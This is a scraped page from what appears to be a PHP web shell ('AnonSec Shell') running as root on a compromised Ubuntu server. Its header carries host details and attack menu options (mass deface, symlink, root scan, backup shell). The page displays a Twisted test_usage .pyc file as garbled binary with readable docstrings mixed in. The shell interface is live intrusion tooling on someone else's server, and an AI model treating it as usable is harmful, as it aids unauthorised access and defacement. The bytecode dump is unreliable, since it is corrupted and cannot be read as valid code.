AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_usage.cpython-310.pyc
o

�b[�@sddZddlmZddlmZGdd�dej�ZGdd�dej�ZGdd	�d	ej�Z	Gd
d�dej�Z
Gdd
�d
ej�ZGdd�dej�ZGdd�dej�Z
Gdd�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZGd d!�d!ej�ZGd"d#�d#ej�ZGd$d%�d%ej�ZGd&d'�d'ej�Zd(S))zK
Tests for L{twisted.python.usage}, a command line option parsing library.
�)�usage)�unittestc@sHeZdZgd�gd�gd�gd�gZgd�ddggZdd	�Zd
d�ZdS)
�WellBehaved)�long�w�defaultzand a docstring)�another�nzno docstring)�longonlyN�noshort)�	shortlessN�exceptzthis one got docstring)�aflag�fzO

                 flagallicious docstringness for this here

                 �flout�ocCsd|jd<dS)N�PONY!�myflag��opts��self�r�9/usr/lib/python3/dist-packages/twisted/test/test_usage.py�
opt_myflag!szWellBehaved.opt_myflagcCs|�d�|jd<dS)Nz
 WITH A PONY!�myparamr�r�valuerrr�opt_myparam$szWellBehaved.opt_myparamN)�__name__�
__module__�__qualname__�
optParameters�optFlagsrrrrrrr
s�	�
rc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�ParseCorrectnessTestszZ
    Test L{usage.Options.parseOptions} for correct values under
    good conditions.
    cCs$d��|_t�|_|j�|j�dS)zL
        Instantiate and parseOptions a well-behaved Options class.
        �A--long Alpha -n Beta --shortless Gamma -f --myflag --myparam TofuN)�split�niceArgVr�nice�parseOptionsrrrr�setUp.s
�zParseCorrectnessTests.setUpcCsT|�|jjdd�|�|jjdd�|�|jjdd�|�|jjdd�d	S)
z1
        Parameters have correct values.
        r�Alphar�Betar
rr�GammaN��assertEqualr(rrrrr�test_checkParameters;sz*ParseCorrectnessTests.test_checkParameterscC�,|�|jjdd�|�|jjdd�dS)z,
        Flags have correct values.
        r�rrNr.rrrr�test_checkFlagsD�z%ParseCorrectnessTests.test_checkFlagscCr1)zB
        Custom flags and parameters have correct values.
        rrrzTofu WITH A PONY!Nr.rrrr�test_checkCustomsKr4z'ParseCorrectnessTests.test_checkCustomsN)rr r!�__doc__r*r0r3r5rrrrr$(s
	r$c@sLeZdZddddegddddegdddd	egd
dddeggZdd
�ZeZdS)�TypedOptions�foointN�zFoo int�foofloat��Q���@z	Foo float�eggintzEgg int without default�eggfloatzEgg float without defaultcCs
||_dS)zg
        This option has an underscore in its name to exercise the _ to -
        translation.
        N)�underscoreValuerrrr�opt_under_score[s
zTypedOptions.opt_under_score)rr r!�int�floatr"r?�opt_urrrrr7Ss�r7c@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�
TypedTestszK
    Test L{usage.Options.parseOptions} for options with forced types.
    cCst�|_dS�N)r7rrrrrr*jszTypedTests.setUpcCs�g}|j�|�|�|jjdd�|�|jjdt�|�|jjdd�|�|jjdt�|�|jjd�|�|jjd�dS)z,
        Default values are parsed.
        r8r9r:r;r<r=N)rr)r/r�assertIsInstancer@rA�assertIsNone�r�argVrrr�test_defaultValuesmszTypedTests.test_defaultValuescCs�d��}|j�|�|�|jjdd�|�|jjdt�|�|jjdd�|�|jjdt�|�|jjdd�|�|jjdt�|�|jjdd	�|�|jjdt�d
S)z2
        int and float values are parsed.
        z8--fooint 912 --foofloat -823.1 --eggint 32 --eggfloat 21r8i�r:g����̸��r<� r=g5@N)r&rr)r/rrEr@rArGrrr�test_parsingValueszszTypedTests.test_parsingValuescC�$|j�ddg�|�|jjd�dS)zw
        A dash in an option name is translated to an underscore before being
        dispatched to a handler.
        z
--under-score�fooN�rr)r/r>rrrr�test_underscoreOption�sz TypedTests.test_underscoreOptioncCrL)zE
        An option name with a dash in it can have an alias.
        z-u�barNrNrrrr�test_underscoreOptionAlias�sz%TypedTests.test_underscoreOptionAliascCs d��}|�tj|jj|�dS)z7
        Passing wrong values raises an error.
        z--fooint eggN)r&�assertRaisesr�
UsageErrorr)rGrrr�test_invalidValues�szTypedTests.test_invalidValuesN)
rr r!r6r*rIrKrOrQrTrrrrrCes
rCc@seZdZgd�gZdS)�WrongTypedOptions)�barwrongNNzBar with wrong coerce�heN)rr r!r"rrrrrU�srUc@s8eZdZdd�Zdd�Zddddegdddd	eggZdS)
�WeirdCallableOptionscC�td��)N�Ouch)�RuntimeError�rrrr�_bar��zWeirdCallableOptions._barcCrY)N�Yay)�
ValueErrorr\rrr�_foo�r^zWeirdCallableOptions._foorVNzBar with strange callable�foowrongzFoo with strange callable)rr r!r]rar"rrrrrX�s�rXc@�(eZdZdZdd�Zdd�Zdd�ZdS)	�WrongTypedTestszF
    Test L{usage.Options.parseOptions} for wrong coerce options.
    cCs"t�}d��}|�t|j|�dS)z2
        Using a non-callable type fails.
        z--barwrong eggN)rUr&rR�	TypeErrorr)�r�usrHrrr�test_nonCallable�sz WrongTypedTests.test_nonCallablecCst�}g}|�|�dS)zP
        The coerce functions are not called if no values are provided.
        N)rXr)rfrrr�test_notCalledInDefault�sz'WrongTypedTests.test_notCalledInDefaultcCsRt�}d��}|�tj|j|�}|�t|�d�t�}d��}|�t|j|�dS)zI
        Errors raised by coerce functions are handled properly.
        z--foowrong blahz&Parameter type enforcement failed: Yayz--barwrong blahN)	rXr&rRrrSr)r/�strr[)rrgrH�errr�test_weirdCallable�sz"WrongTypedTests.test_weirdCallableN)rr r!r6rhrirlrrrrrd�s
rdc@�eZdZdd�ZdS)�OutputTestscCs.t�}|�tj|jdg�}|�t|�d�dS)zF
        Error output case adjustment does not mangle options
        z-Zzoption -Z not recognizedN)rrRrrSr)r/rj)r�optrkrrr�test_uppercasing�szOutputTests.test_uppercasingN)rr r!rprrrrrn��rnc@seZdZdgZdgZdS)�InquisitionOptions)�expectrk)�torture-device�t�comfy-chairzset preferred torture deviceN)rr r!r#r"rrrrrr�s
��rrc@seZdZddgZdS)�HolyQuestOptions)�	horseback�hzuse a horse)�	for-grail�gN)rr r!r#rrrrrw�s�rwc@s*eZdZdgZddedfddedfgZdS)	�SubCommandOptions)�europian-swallowNz$set default swallow type to Europian�inquisition�inquestzPerform an inquisition�	holyquest�questzEmbark upon a holy questN)rr r!r#rrrw�subCommandsrrrrr|�s�

�r|c@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�SubCommandTestszJ
    Test L{usage.Options.parseOptions} for options with subcommands.
    cCsdt�}|�ddg�|�|d�|�|jd�|�|jt�|�|jd�|�|jdd�dS)z-
        A subcommand is recognized.
        �--europian-swallowr~r}rsrtrvN)	r|r)�
assertTruer/�
subCommandrE�
subOptionsrr�assertFalse�rrrrr�test_simpleSubcommand��z%SubCommandTests.test_simpleSubcommandcC�dt�}|�gd��|�|d�|�|jd�|�|jt�|�|jd�|�|jdd�dS)zA
        Flags and options of a subcommand are assigned.
        )r~�--expect�--torture-device=featherr}r~rsrt�featherN�	r|r)r�r/r�rEr�rrr�r�rrr�"test_subcommandWithFlagsAndOptionsr�z2SubCommandTests.test_subcommandWithFlagsAndOptionscCr�)zG
        Flags and options of a subcommand alias are assigned.
        )rr�r�r}r~rsrtr�Nr�r�rrr�'test_subcommandAliasWithFlagsAndOptionsr�z7SubCommandTests.test_subcommandAliasWithFlagsAndOptionscCsbt�}|�ddg�|�|d�|�|jd�|�|jt�|�|jd�|�|jd�dS)zG
        Flags and options of another subcommand are assigned.
        r�z--for-grailr}rxrzN)	r|r)r�r/r�rEr�rwr�r�rrr�)test_anotherSubcommandWithFlagsAndOptions#sz9SubCommandTests.test_anotherSubcommandWithFlagsAndOptionscCs@t�}|�dg�|�|d�|�|j�|�t|d��dS)z�
        If no subcommand is specified and no default subcommand is assigned,
        a subcommand will not be implied.
        r�r}r�N)r|r)r�rFr�r��hasattrr�rrr�test_noSubcommand/s
z!SubCommandTests.test_noSubcommandcCsht�}d|_|�dg�|�|d�|�|jd�|�|jt�|�	|jd�|�|jdd�dS)	zK
        Flags and options in the default subcommand are assigned.
        rr�r}r~rsrtrvN)
r|�defaultSubCommandr)r�r/r�rEr�rrr�r�rrr�test_defaultSubcommand:sz&SubCommandTests.test_defaultSubcommandcs`Gdd�dtj��G�fdd�dtj�}|�}|�dg�|�t|jd��|�|jj|�dS)zw
        The parseOptions method from the Options object specified for the
        given subcommand is called.
        c@rm)zDSubCommandTests.test_subCommandParseOptionsHasParent.<locals>.SubOptc_s&|j|_tjj|g|�Ri|��dSrD)�parent�	sawParentr�Optionsr))r�a�kwrrrr)NszQSubCommandTests.test_subCommandParseOptionsHasParent.<locals>.SubOpt.parseOptionsN)rr r!r)rrrr�SubOptMrqr�c�eZdZdd�dfgZdS)zASubCommandTests.test_subCommandParseOptionsHasParent.<locals>.OptrMrrPN�rr r!r�r�r�rr�OptR�
�r�rMr�N)rr�r)r�r�r�r/r�)rr�rrr�r�$test_subCommandParseOptionsHasParentGsz4SubCommandTests.test_subCommandParseOptionsHasParentcs�Gdd�dtj��G�fdd�dtj�}G�fdd�dtj�}|�}|�dg�|�}|�dg�|�t|jd	��|�t|jd	��|�|jj|�|�|jj|�d
S)zh
        The .parent pointer is correct even when the same Options class is
        used twice.
        c@seZdZdS)z:SubCommandTests.test_subCommandInTwoPlaces.<locals>.SubOptN)rr r!rrrrr�bsr�cr�)z:SubCommandTests.test_subCommandInTwoPlaces.<locals>.OptFoorMr�quuxNr�rr�rr�OptFooer�r�cr�)z:SubCommandTests.test_subCommandInTwoPlaces.<locals>.OptBarrP�br�Nr�rr�rr�OptBarjr�r�rMrPr�N)rr�r)r�r�r��failUnlessIdenticalr�)rr�r��oFoo�oBarrr�r�test_subCommandInTwoPlaces\sz*SubCommandTests.test_subCommandInTwoPlacesN)rr r!r6r�r�r�r�r�r�r�r�rrrrr��s
r�c@rc)	�HelpStringTestsz&
    Test generated help strings.
    cCsd��|_t�|_dS)z;
        Instantiate a well-behaved Options class.
        r%N)r&r'rr(rrrrr*~s�zHelpStringTests.setUpc
CsBz|j��WdSty }z|�|�WYd}~dSd}~ww)z,
        __str__ shouldn't go boom.
        N)r(�__str__�	Exception�fail)rrkrrr�
test_noGoBoom�s��zHelpStringTests.test_noGoBoomcCsFdd�t|j���D�}|�t|�dk�|�|d�d�dk�dS)zK
        Extra whitespace in flag and parameters docs is stripped.
        cSsg|]}|�d�dkr|�qS)rr)�find)�.0�srrr�
<listcomp>�szJHelpStringTests.test_whitespaceStripFlagsAndParameters.<locals>.<listcomp>r�
flagalliciousN)rjr(�
splitlinesr��lenr�)r�linesrrr�&test_whitespaceStripFlagsAndParameters�sz6HelpStringTests.test_whitespaceStripFlagsAndParametersN)rr r!r6r*r�r�rrrrr�ys
	r�c@s eZdZdZdd�Zdd�ZdS)�PortCoerceTestsz3
    Test the behavior of L{usage.portCoerce}.
    cCs:|�dt�d��|�dt�d��|�dt�d��dS)z4
        Test the answers with valid input.
        r�0i��3210i���65535N)r/r�
portCoercerrrr�test_validCoerce�sz PortCoerceTests.test_validCoercecCsD|�ttjd�|�ttjd�|�ttjd�|�ttjd�dS)z"
        Test error path.
        �z-21�212189rMN)rRr`rr�rrrr�test_errorCoerce�sz PortCoerceTests.test_errorCoerceN)rr r!r6r�r�rrrrr��sr�c@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�ZshCompleterTestsz�
    Test the behavior of the various L{twisted.usage.Completer} classes
    for producing output usable by zsh tab-completion system.
    cC�Nt��}|�dtj�}|�|d�tjddd�}|�dtj�}|�|d�dS)zX
        Completer produces zsh shell-code that produces no completion matches.
        �some-optionz
:some-option:�some actionT��descr�repeat�*:some action:N)r�	Completer�
_shellCode�_ZSHr/�r�c�gotrrr�test_completer��z ZshCompleterTests.test_completercCstt��}|�dtj�}|�|d�t�d�}|�dtj�}|�|d�tjdddd�}|�dtj�}|�|d�d	S)
zn
        CompleteFiles produces zsh shell-code that completes file names
        according to a glob.
        r�z:some-option (*):_files -g "*"z*.pyz$:some-option (*.py):_files -g "*.py"r�Tr�z%*:some action (*.py):_files -g "*.py"N)r�
CompleteFilesr�r�r/r�rrr�
test_files�s
zZshCompleterTests.test_filescCr�)zV
        CompleteDirs produces zsh shell-code that completes directory names.
        r�z:some-option:_directoriesr�Tr�z*:some action:_directoriesN)r�CompleteDirsr�r�r/r�rrr�	test_dirs�r�zZshCompleterTests.test_dirscCs~t�d�}|�dtj�}|�|d�t�gd��}|�dtj�}|�|d�tjgd�ddd�}|�dtj�}|�|d	�d
S)zw
        CompleteList produces zsh shell-code that completes words from a fixed
        list of possibilities.
        �ABCr�z:some-option:(A B C)��1�2�3z:some-option:(1 2 3)r�Tr�z*:some action:(1 2 3)N)r�CompleteListr�r�r/r�rrr�	test_list�s
zZshCompleterTests.test_listcCs�t�d�}|�dtj�}|�|d�t�gd��}|�dtj�}|�|d�tjgd�ddd�}|�dtj�}d	}|�||�d
S)z�
        CompleteMultiList produces zsh shell-code that completes multiple
        comma-separated words from a fixed list of possibilities.
        r�r�z-:some-option:_values -s , 'some-option' A B Cr�z-:some-option:_values -s , 'some-option' 1 2 3r�Tr�z.*:some action:_values -s , 'some action' 1 2 3N)r�CompleteMultiListr�r�r/)rr�r��expectedrrr�test_multiList�s
z ZshCompleterTests.test_multiListcCr�)zd
        CompleteUsernames produces zsh shell-code that completes system
        usernames.
        r�z:some-option:_usersr�Tr�z*:some action:_usersN)r�CompleteUsernamesr�r�r/�rr��outrrr�test_usernames�z ZshCompleterTests.test_usernamescCr�)zc
        CompleteGroups produces zsh shell-code that completes system group
        names.
        r�z:group:_groupsr�Tr�z*:some action:_groupsN)r�CompleteGroupsr�r�r/r�rrr�test_groupsr�zZshCompleterTests.test_groupscCr�)zU
        CompleteHostnames produces zsh shell-code that completes hostnames.
        r�z:some-option:_hostsr�Tr�z*:some action:_hostsN)r�CompleteHostnamesr�r�r/r�rrr�test_hostnames r�z ZshCompleterTests.test_hostnamescCsVt��}|�dtj�}|�|�d��tjddd�}|�dtj�}|�|�d��dS)z�
        CompleteUserAtHost produces zsh shell-code that completes hostnames or
        a word of the form <username>@<hostname>.
        r�z:host | user@host:r�Tr�r�N)r�CompleteUserAtHostr�r�r��
startswithr�rrr�test_userAtHost,sz!ZshCompleterTests.test_userAtHostcCr�)zv
        CompleteNetInterfaces produces zsh shell-code that completes system
        network interface names.
        r�z:some-option:_net_interfacesr�Tr�z*:some action:_net_interfacesN)r�CompleteNetInterfacesr�r�r/r�rrr�test_netInterfaces9r�z$ZshCompleterTests.test_netInterfacesN)rr r!r6r�r�r�r�r�r�r�r�r�r�rrrrr��s


r�c@�eZdZdZdd�ZdS)�CompleterNotImplementedTestszs
    Using an unknown shell constant with the various Completer() classes
    should raise NotImplementedError
    c
Csrtjtjtjtjtjtjtjtjtj	tj
g
}|D]}z|�}Wn
ty,|d�}Ynw|�t
|jdd�qdS)zM
        Using an unknown shellType should raise NotImplementedError
        N�bad_shell_type)rr�r�r�r�r�r�r�r�r�r��
BaseExceptionrR�NotImplementedErrorr�)r�classes�cls�actionrrr�test_unknownShellMs*�

�
��z.CompleterNotImplementedTests.test_unknownShellN)rr r!r6r�rrrrr�Gsr�c@s>eZdZdZGdd�d�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�FlagFunctionTestsz*
    Tests for L{usage.flagFunction}.
    c@rc)	zFlagFunctionTests.SomeClassz>
        Dummy class for L{usage.flagFunction} tests.
        cC�dS)z�
            A one argument method to be tested by L{usage.flagFunction}.

            @param a: a useless argument to satisfy the function's signature.
            Nr)rr�rrr�oneArgr�z"FlagFunctionTests.SomeClass.oneArgcCr�)zU
            A no argument method to be tested by L{usage.flagFunction}.
            Nrrrrr�noArgyr�z!FlagFunctionTests.SomeClass.noArgcCr�)aG
            A multiple arguments method to be tested by L{usage.flagFunction}.

            @param a: a useless argument to satisfy the function's signature.
            @param b: a useless argument to satisfy the function's signature.
            @param c: a useless argument to satisfy the function's signature.
            Nr)rr�r�r�rrr�manyArgs~r�z$FlagFunctionTests.SomeClass.manyArgsN)rr r!r6r�r�r�rrrr�	SomeClassms
r�cC�|�dt�|��j��dS)zs
        L{usage.flagFunction} returns C{False} if the method checked allows
        exactly one argument.
        FN)�assertIsr�flagFunctionr�r�rrrr�test_hasArg��zFlagFunctionTests.test_hasArgcCr�)zq
        L{usage.flagFunction} returns C{True} if the method checked allows
        exactly no argument.
        TN)rrrr�r�rrrr�
test_noArg�rzFlagFunctionTests.test_noArgcCs,|�tjtj|��j�}|�dt|��dS)z
        L{usage.flagFunction} raises L{usage.UsageError} if the method checked
        allows more than one argument.
        z$Invalid Option function for manyArgsN�rRrrSrr�r�r/rj�r�excrrr�test_tooManyArguments�s�z'FlagFunctionTests.test_tooManyArgumentscCs.|�tjtj|��jd�}|�dt|��dS)z�
        L{usage.flagFunction} uses the given method name in the error message
        raised when the method allows too many arguments.
        �flubudufz$Invalid Option function for flubudufNrrrrr�,test_tooManyArgumentsAndSpecificErrorMessage�s�z>FlagFunctionTests.test_tooManyArgumentsAndSpecificErrorMessageN)	rr r!r6r�rrrr
rrrrr�hs
r�c@r�)�OptionsInternalTestsz6
    Tests internal behavior of C{usage.Options}.
    cCsNGdd�dtj�}|�}|�t�gd�d�|jd|jd|jdd��dS)zs
        Options which are synonyms to another option are aliases towards the
        longest option name.
        c@seZdZdd�ZeZeZdS)z;OptionsInternalTests.test_optionsAliasesOrder.<locals>.OptscSr�)z~
                This is an option method with a very long name, that is going to
                be aliased.
                Nrrrrr�opt_very_very_long�r�zNOptionsInternalTests.test_optionsAliasesOrder.<locals>.Opts.opt_very_very_longN)rr r!r�	opt_short�opt_srrrr�Opts�sr)r��short�very-very-longrr�rN)rr�r/�dict�fromkeys�synonyms)rrrrrr�test_optionsAliasesOrder�s
��z-OptionsInternalTests.test_optionsAliasesOrderN)rr r!r6rrrrrr�srN)r6�twisted.pythonr�
twisted.trialrr�r�TestCaser$r7rCrUrXrdrnrrrwr|r�r�r�r�r�r�rrrrr�<module>s,+;
%
	
$!B

Anon7 - 2022
AnonSec Team